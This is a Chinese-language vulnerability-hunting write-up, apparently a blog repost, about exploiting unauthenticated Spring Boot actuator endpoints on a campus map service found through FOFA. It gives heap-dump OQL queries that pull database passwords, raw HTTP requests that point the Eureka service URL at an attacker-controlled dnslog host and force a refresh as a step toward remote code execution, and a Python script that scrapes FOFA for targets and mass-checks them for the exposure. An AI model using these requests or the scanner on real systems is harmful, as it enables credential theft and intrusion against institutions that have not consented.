0x01 前言
在fofa上闲逛的时候发现这个系统,其实之前也碰到过这个系统,当时可能觉得没什么漏洞点就没有管,正好闲着没事又碰到了这个系统,然后就拿过来简单的测试了一下!
0x02 漏洞挖掘
1、信息收集
由于我是在fofa上发现的这个系统,所以也谈不上什么信息收集,我就直接贴了fofa搜索语法
app="校园地图服务系统"(1) 主页就是一个简单的地图界面
(2) 使用dirsearch浅扫一下目录吧,结果还真扫出点东西
(3) /actuator/env这不是springboot未授权么,后面测试了几个同样的站,都是未授权,这不让我掏上了么。(高兴归高兴,但是貌似存在漏洞的只有五六个站)
(1) 直接访问/env目录,拿到数据库信息
(2) 访问/heapdump目录下载网站的堆转储文件
(3) 使用Eclipse Memory Analyzer工具分析,利用该工具的OQL查询功能,查询password关键字得到数据库连接密码,查询语句如下:
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
既然/env目录可以访问,那RCE肯定少不了
(1) 访问 http://xxx.xxx.xxx/actuator/env 并抓包,修改数据包为
POST /openapi/actuator/env HTTP/1.1Host: IPContent-Type: application/jsonContent-Length: 85{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your.dnslog.cn"}
(2) 刷新配置,修改数据包为
POST /openapi/actuator/refresh HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Content-Type: application/json
发送数据包后dnslog收到响应
(3) 再次访问/env目录可以发现我们的dnslog地址已经写入
0x03 批量脚本
批量脚本是结合fofa爬取IP,再利用poc进行漏洞验证
import requestsimport base64from lxml import etreeimport timesearch_data='"校园地图服务系统"'headers={'cookie':'fofa.cookie',}for Page_number in range(1,3):url='https://fofa.info/result?page='+str(Page_number)+'&qbase64='search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls=url+search_data_bs#print(urls)try:print('正在爬取第' + str(Page_number) + '页')result=requests.get(urls,headers=headers).content.decode('utf-8')#print(result)soup = etree.HTML(result)ip_data=soup.xpath('//a[@target="_blank"]/@href')ipdata='\n'.join(ip_data)print(ip_data)with open(r'ip.txt', 'a+') as f:f.write(ipdata+'\n')f.close()time.sleep(0.5)except Exception as e:passpayload='/openapi/actuator/env'for ip in open('ip.txt'):ip=ip.replace('\n','')new_url=ip+payload#print(new_url)try:result=requests.get(new_url).content.decode('utf-8')code=requests.get(new_url).status_codeprint("check_ip->"+ip)if 'activeProfiles' in result and code==200:print(('\033[31m存在漏洞的URL->'),new_url)print('\033[0m')with open(r'result.txt','a+') as f:f.write(ip+'\n')f.close()time.sleep(0.5)except Exception as e:pass
0x03 后记
这次其实是一个比较简单的案例,可能是其他师傅没有去测这个系统,正好我运气不错碰到了,其实很多时候许多师傅看到这样的系统就觉得没必要去测(我之前碰到的时候也是这样想的)。所以我们在漏洞挖掘过程中还是要考虑到各种漏洞存在的可能。
文章作者:Cobra文章链接: http://chiza.gitee.io/2022/02/28/%E8%AE%B0%E4%B8%80%E6%AC%A1edusrc%E7%9A%84%E6%8C%96%E6%8E%98/
关 注 有 礼
推 荐 阅 读